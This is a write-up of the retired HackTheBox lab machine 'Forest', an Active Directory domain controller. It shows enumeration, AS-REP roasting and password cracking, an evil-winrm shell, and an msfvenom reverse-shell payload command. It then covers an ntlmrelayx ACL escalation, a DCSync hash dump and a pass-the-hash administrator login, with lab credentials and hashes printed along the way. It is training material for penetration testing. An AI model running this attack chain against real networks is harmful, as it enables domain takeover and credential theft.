HTB: Forest

Forest card

This is a writeup about a retired HacktheBox machine: Forest published by egre55 and mrb3n on October the 12th 2019. This box is a Windows machine classified as easy. The server is a Domain Controller with 24 open ports. We will use Winrm, bloodhound and impacket to get both the user flag and the "root" flag.


We start with an nmap scan. 24 ports are open. Using the service detection with gather several informations about the box:

  • The server is a MS Windows Server 2008 R2
  • The server is in the htb.local domain
  • The server is in the HTB workgroup

Here is the nmap scan:

# Nmap 7.80 scan initiated Thu Oct 24 09:17:28 2019 as: nmap -p- -sSV -oA nmap_ssv
Nmap scan report for
Host is up (0.094s latency).
Not shown: 65511 closed ports
53/tcp    open  domain?
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2019-10-24 07:29:09Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
49706/tcp open  msrpc        Microsoft Windows RPC
49915/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
# Nmap done at Thu Oct 24 09:23:52 2019 -- 1 IP address (1 host up) scanned in 384.59 seconds

We use from impacket to determine the machine Architecture, the machine is 64-bits.

python -target
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[*] Gathering OS architecture for 1 machines
[*] Socket connect timeout set to 2 secs is 64-bi

We check the open ports using a useful website

Port 88: Kerberos

We need an account to exploit this port.

Kerberos is a protocol that is used for network authentication. Different versions are used by Unix and Windows. But if you see a machine with port 88 open you can be fairly certain that it is a Windows Domain Controller.

If you already have a login to a user of that domain you might be able to escalate that privilege.

Check out: MS14-068

Port M135: MSRPC

We enumerate using nmap and metasploit without success.

This is the windows rpc-port. Enumerate nmap --script=msrpc-enum

msf > use exploit/windows/dcerpc/ms03_026_dcom

Port 139: SMB

Samba is a service that enables the user to share files with other machines. It has interoperatibility, which means that it can share stuff between linux and windows systems. A windows user will just see an icon for a folder that contains some files. Even though the folder and files really exists on a linux-server.

Ports 389 and 636: LDAP

Lightweight Directory Access Protocol. This port is usually used for Directories. Directory her means more like a telephone-directory rather than a folder. Ldap directory can be understood a bit like the windows registry. A database-tree. Ldap is sometimes used to store usersinformation. Ldap is used more often in corporate structure. Webapplications can use ldap for authentication. If that is the case it is possible to perform ldap-injections which are similar to sqlinjections.

You can sometimes access the ldap using a anonymous login, or with other words no session. This can be useful becasue you might find some valuable data, about users.

ldapsearch -h -p 389 -x -b "dc=mywebsite,dc=com"

Ports 445, 464, 593, 3269, 49664, 49665, 49666, 49667, 49669, 49676, 49677, 49684, 49706, 49915

Not included in the gitbook

Port 5985: WinRM

Not included in the gitbook but a "well known" protocol.

WinRM, or Windows Remote Management, is an HTTP based remote management and shell protocol for Windows. The Windows Remote Management Service is responsible for this functionality. If WinRM is not configured for remote access, but the service is started, it listens for local requests on TCP port 47001. If you create listener it will still listen on 47001, but also on the default TCP ports 5985 (HTTP) and 5986 (HTTPS).

Port 3268: globalcatLdap

No description

Port 9389

Active Directory Administrative Center is installed by default on Windows Server 2008 R2 and is available on Windows 7 when you install the Remote Server Administration Tools (RSAT).

Port 47001: Windows Remote Management Service

No more information.

Getting user

enumerating user with SMB

The SMB port is open, we can enumerate local users. Moreover, as the server is a Domain Controller, every "local" user is a domain user.

msf5 > use auxiliary/scanner/smb/smb_enumusers
msf5 auxiliary(scanner/smb/smb_enumusers) > set rhosts
rhosts =>
msf5 auxiliary(scanner/smb/smb_enumusers) > show options

Module options (auxiliary/scanner/smb/smb_enumusers):

  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOSTS     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as
  THREADS    1                yes       The number of concurrent threads

msf5 auxiliary(scanner/smb/smb_enumusers) > run

[+]      - HTB [ Administrator, Guest, krbtgt, DefaultAccount, $331000-VK4ADACQNUCA, SM_2c8eef0a09b545acb, SM_ca8c2ed5bdab4dc9b, SM_75a538d3025e4db9a, SM_681f53d4942840e18, SM_1b41c9286325456bb, SM_9b69f1b9d2cc45549, SM_7c96b981967141ebb, SM_c75ee099d0a64c91b, SM_1ffab36a2f5f479cb, HealthMailboxc3d7722, HealthMailboxfc9daad, HealthMailboxc0a90c9, HealthMailbox670628e, HealthMailbox968e74d, HealthMailbox6ded678, HealthMailbox83d6781, HealthMailboxfd87238, HealthMailboxb01ac64, HealthMailbox7108a4e, HealthMailbox0659cc1, sebastien, lucinda, svc-alfresco, andy, mark, santi ] ( LockoutTries=0 PasswordMin=7 )
[*]         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Getting NPUsers


This bit indicates that there is no so-called pre-authentication necessary for Kerberos authentication of the account. This is only for older Kerberos client important, which need to login to the domain from foreign systems and which does not support Kerberos pre-authentication. For accounts that log on from a Windows machine, or just for machine accounts of Windows domain members, this flag flag should NEVER be set, for the pre-authentication prevents certain types of dictionary attacks on the Kerberos login.

We create a file with the users.

cat users.txt

In order to use impacket's we need to add an entry in our /etc/hosts.

cat /etc/hosts   localhost   kalili    htb.local    forest.htb.local

And we launch impacket's

python htb.local/ -no-pass -usersfile users.txt -format john
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] invalid principal syntax

We crack the password using john and the rockyou dictionary. The user's password is "s3rvice".

john hashes -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl"
Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 11.59% (ETA: 11:52:21) 0g/s 913958p/s 913958c/s 913958C/s eddie707..eck1956
s3rvice          ($krb5asrep$svc-alfresco@HTB.LOCAL)
1g 0:00:00:04 DONE (2019-10-24 11:52) 0.2237g/s 914040p/s 914040c/s 914040C/s s401413..s3r1bu
Use the "--show" option to display all of the cracked passwords reliably
Session completed


In order to run MS14-068 we need the SUID of our user. We enumerate them using metasploit. Our user SID is S-1-5-21-3072663084-364016917-1341370565-1147 (domain SID-User RID).

msf5 auxiliary(admin/kerberos/ms14_068_kerberos_checksum) > use auxiliary/scanner/smb/smb_lookupsid
msf5 auxiliary(scanner/smb/smb_lookupsid) > show options

Module options (auxiliary/scanner/smb/smb_lookupsid):

  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  MaxRID     4000             no        Maximum RID to check
  MinRID     500              no        Starting RID to check
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as
  THREADS    1                yes       The number of concurrent threads

Auxiliary action:

  Name   Description
  ----   -----------
  LOCAL  Enumerate local accounts

msf5 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBDomain HTB.LOCAL
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBUser svc-alfresco
SMBUser => svc-alfresco
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBPass s3rvice
SMBPass => s3rvice
msf5 auxiliary(scanner/smb/smb_lookupsid) > run

[*]      - PIPE(LSARPC) LOCAL(HTB - 5-21-3072663084-364016917-1341370565) DOMAIN(HTB - 5-21-3072663084-364016917-1341370565)
[*]      - USER=Administrator RID=500
[*]      - USER=lucinda RID=1146
[*]      - USER=svc-alfresco RID=1147
[*]      - GROUP=Service Accounts RID=1148
[*]      - GROUP=Privileged IT Accounts RID=1149
[*]      - USER=andy RID=1150
[*]      - USER=mark RID=1151
[*]      - USER=santi RID=1152

We can also try to get Users SPNs

python -request htb.local/svc-alfresco:s3rvice
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

No entries found

We add the DC to our /etc/resolv.conf and install rdate to have the same time as the DC.

cat /etc/resolv.conf
# Generated by NetworkManager
search home
domain htb.local
search htb.local

apt-get install rdate

rdate -n htb.local
Thu Oct 24 16:22:14 CEST 2019

I know have the same time as the DC (this is super important for tickets generation).

date && rdate -n htb.local
Thu 24 Oct 2019 04:24:55 PM CEST
Thu Oct 24 16:24:55 CEST 2019

The exploitation of MS14-068 does not work.


As we so in the openport, the default port for winrm 5985 is open. We use evil-winrm in order to connect to the system and get user's flag:

evil-winrm -i -u svc-alfresco -p s3rvice

Evil-WinRM shell v1.8

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir

    Directory: C:\Users\svc-alfresco\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/24/2019   6:57 AM          12510
-a----       10/24/2019   8:23 AM           3996 Add-ACE.ps1
-a----       10/24/2019   8:23 AM           2584 Add-ToGroup.ps1
-a----       10/24/2019   6:28 AM          64384 Invoke-ACLPwn.ps1
-a----       10/24/2019   8:02 AM        2661697 Invoke-Mimikatz.ps1
-a----       10/24/2019   6:33 AM        1006744 mimikatz.exe
-a----       10/24/2019   6:25 AM         212992 mp1.exe
-a----       10/24/2019   9:17 AM          43696 nc64.exe
-a----       10/24/2019   6:47 AM          73802 pd.exe
-a----       10/24/2019   7:24 AM           6017 powerPriv.ps1
-a----       10/24/2019   9:26 AM         363295 powerview.ps1
-a----       10/24/2019   7:12 AM           8978 Rk9SRVNU.bin
-a----       10/24/2019   6:27 AM         779264 SharpHound.exe
-a----       10/24/2019   6:44 AM         919546 SharpHound.ps1
-a----       10/24/2019   8:36 AM        2222592 SharpSploit.dll
-a----       10/24/2019   7:26 AM          73802 shell.exe

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cd ../
di*Evil-WinRM* PS C:\Users\svc-alfresco> dir

    Directory: C:\Users\svc-alfresco

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/23/2019   2:16 PM                Desktop
d-r---       10/24/2019   9:31 AM                Documents
d-r---        7/16/2016   6:18 AM                Downloads
d-r---        7/16/2016   6:18 AM                Favorites
d-r---        7/16/2016   6:18 AM                Links
d-r---        7/16/2016   6:18 AM                Music
d-r---        7/16/2016   6:18 AM                Pictures
d-----        7/16/2016   6:18 AM                Saved Games
d-r---        7/16/2016   6:18 AM                Videos

*Evil-WinRM* PS C:\Users\svc-alfresco> dir Desktop

    Directory: C:\Users\svc-alfresco\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        9/23/2019   2:16 PM             32 user.txt

*Evil-WinRM* PS C:\Users\svc-alfresco> type Desktop\user.txt

Getting root

evil-winrm and binary

Using evil-Winrm we can also check the domain SID (and our user SID):

whoami /user

User Name        SID
================ =============================================
htb\svc-alfresco S-1-5-21-3072663084-364016917-1341370565-1147

Using evil-winrm we can easily upload a binary using the upload function. Nevertheless I was not able to invoke the binary using the Invoke-binary command. Therefore I used a simple ruby script to get on the machine a launch a msfvenom meterprter:

require 'winrm'

conn =
  endpoint: '',
  user: 'svc-alfresco',
  password: 's3rvice',

command="" do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets
        output = do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
    puts "Exiting with code #{output.exitcode}"

The msfvenom command to generate the meterpreter is the following:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST="" LPORT=4444 -f exe > shell.exe

To catch the reverse meterpreter we use the exploit/multi/handler metasploit module. We can get a cmd shell using the shell command.


As we need to elevate our privileges on a Windows environnement we want to run Bloodhound to see the differents relationships between the domain's users, groups and computers. We use a bloodhound ingestor based on impacket that allow to grab credentials remotly. But we get some error about DNS resolution probably because of our VPN configuration.

python ./ -d 'htb.local' -dc -gc -u svc-alfresco -p s3rvice -v -ns -c all
DEBUG: Authentication: username/password
DEBUG: Resolved collection methods: localadmin, rdp, dcom, acl, objectprops, session, group, trusts
DEBUG: Using DNS to retrieve domain information
DEBUG: Querying domain controller information from DNS
DEBUG: Using domain hint: htb.local
INFO: Found AD domain: htb.local
DEBUG: Found primary DC: FOREST.htb.local
DEBUG: Found Global Catalog server: FOREST.htb.local
DEBUG: Using LDAP server:
DEBUG: Using base DN: DC=htb,DC=local
INFO: Connecting to LDAP server:
Traceback (most recent call last):
  File "./", line 5, in <module>
  File "/root/", line 265, in main
  File "/root/", line 68, in run
    self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect)
  File "/root/", line 330, in prefetch_info
  File "/root/", line 204, in get_domains
    for entry in entries:
  File "/root/", line 106, in search
  File "/root/", line 60, in ldap_connect
    q =,
  File "/usr/lib/python2.7/dist-packages/dns/", line 992, in query
    timeout = self._compute_timeout(start, lifetime)
  File "/usr/lib/python2.7/dist-packages/dns/", line 799, in _compute_timeout
    raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 3.0016040802 seconds

We edit the code of /root/

def ldap_connect(self, protocol='ldap', resolver=False):
        Connect to the LDAP service
        """'Connecting to LDAP server: %s' % self.hostname)

        # Convert the hostname to an IP, this prevents ldap3 from doing it
        # which doesn't use our custom nameservers
        #q =,
        #for r in q:
            #ip = r.address
        ip = ""

The ingestor create a few JSON files:

ls *.json
computers.json  domains.json  groups.json  sessions.json  users.json

We start the neo4j database, bloodhound and feed him the JSON data.

When using the query "Shortest Paths to High Value Targets" we get the following graph:

Bloodhound complete view.

Exchange trusted subsystem and ntlmrelayx

Our svc-alfresco user got indirect right for the Exchange trusted subsytem group. For more information about the Active Directory Right: Documentation Microsoft.

Therefore we want to exploit our Exchange rights using PrivExchange.

Let's create a user and add it in the Exchange trusted subsytem group.

meterpreter > shell
Process 3256 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\svc-alfresco\Documents>net user created_01 M<redacted> /add /domain
net user created_01 Marteau69! /add /domain
The command completed successfully.

C:\Users\svc-alfresco\Documents>net group "EXCHANGE TRUSTED SUBSYSTEM"
Group name     Exchange Trusted Subsystem
Comment        This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Exchange configuration, as well as user accounts and groups. This group should not be deleted.


EXCH01$                  sol                      svc-alfresco
The command completed successfully.

C:\Users\svc-alfresco\Documents>net group "EXCHANGE TRUSTED SUBSYSTEM" created_01 /add
net group "EXCHANGE TRUSTED SUBSYSTEM" created_01 /add
The command completed successfully.

We then launch impacket's with the escalate-user parameter. We try it by authenticating in our browser on -t ldap:// --escalate-user created_01
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] HTTPD: Received connection from, attacking target ldap://
[*] HTTPD: Client requested path: /
[*] HTTPD: Received connection from, attacking target ldap://
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] Authenticating against ldap:// as \created_01 SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD: Received connection from, attacking target ldap://
[*] HTTPD: Client requested path: /favicon.ico
[*] HTTPD: Client requested path: /favicon.ico
[*] HTTPD: Client requested path: /favicon.ico
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User created_01 now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with and this user :)
[*] Saved restore state to aclpwn-20191105-184250.restore
[*] Authenticating against ldap:// as \created_01 SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[-] Exception in HTTP request handler: [Errno 32] Broken pipe
[-] [Errno 32] Broken pipe
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[-] ACL attack already performed. Refusing to continue


Our right where sufficient to escalate to get the Replication-Get-Changes-All privileges on the domain. As mention by ntlmrelayx we can now use a DCSync attack on the domain using impacket's to get the users' passwords hashes.

python 'htb.local/created_01:M<redacted>@'
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets


We can then use the Path the hash technique with impacket's to login on the Domain Controller as administrator and get the flag.

python htb.local/Administrator@ -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file LgnQUJxD.exe
[*] Opening SVCManager on
[*] Creating service evKq on
[*] Starting service evKq.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Mirosoft Corporation. All rights reserved.

C:\Windows\system32>cd ..

C:\Windows>cd ..

C:\>cd Users

C:\Users>cd Administrator

C:\Users\Administrator>cd Desktop

C:\Users\Administrator\Desktop>type root.txt

Wrapping up

What a journey. This box was classified as easy but probably needed a medium classification. WinRM is so finicky. The root part was interesting as it allowed us to play with Bloodhound and ntlmrelayx which doesn't happen a lot outside of client environments.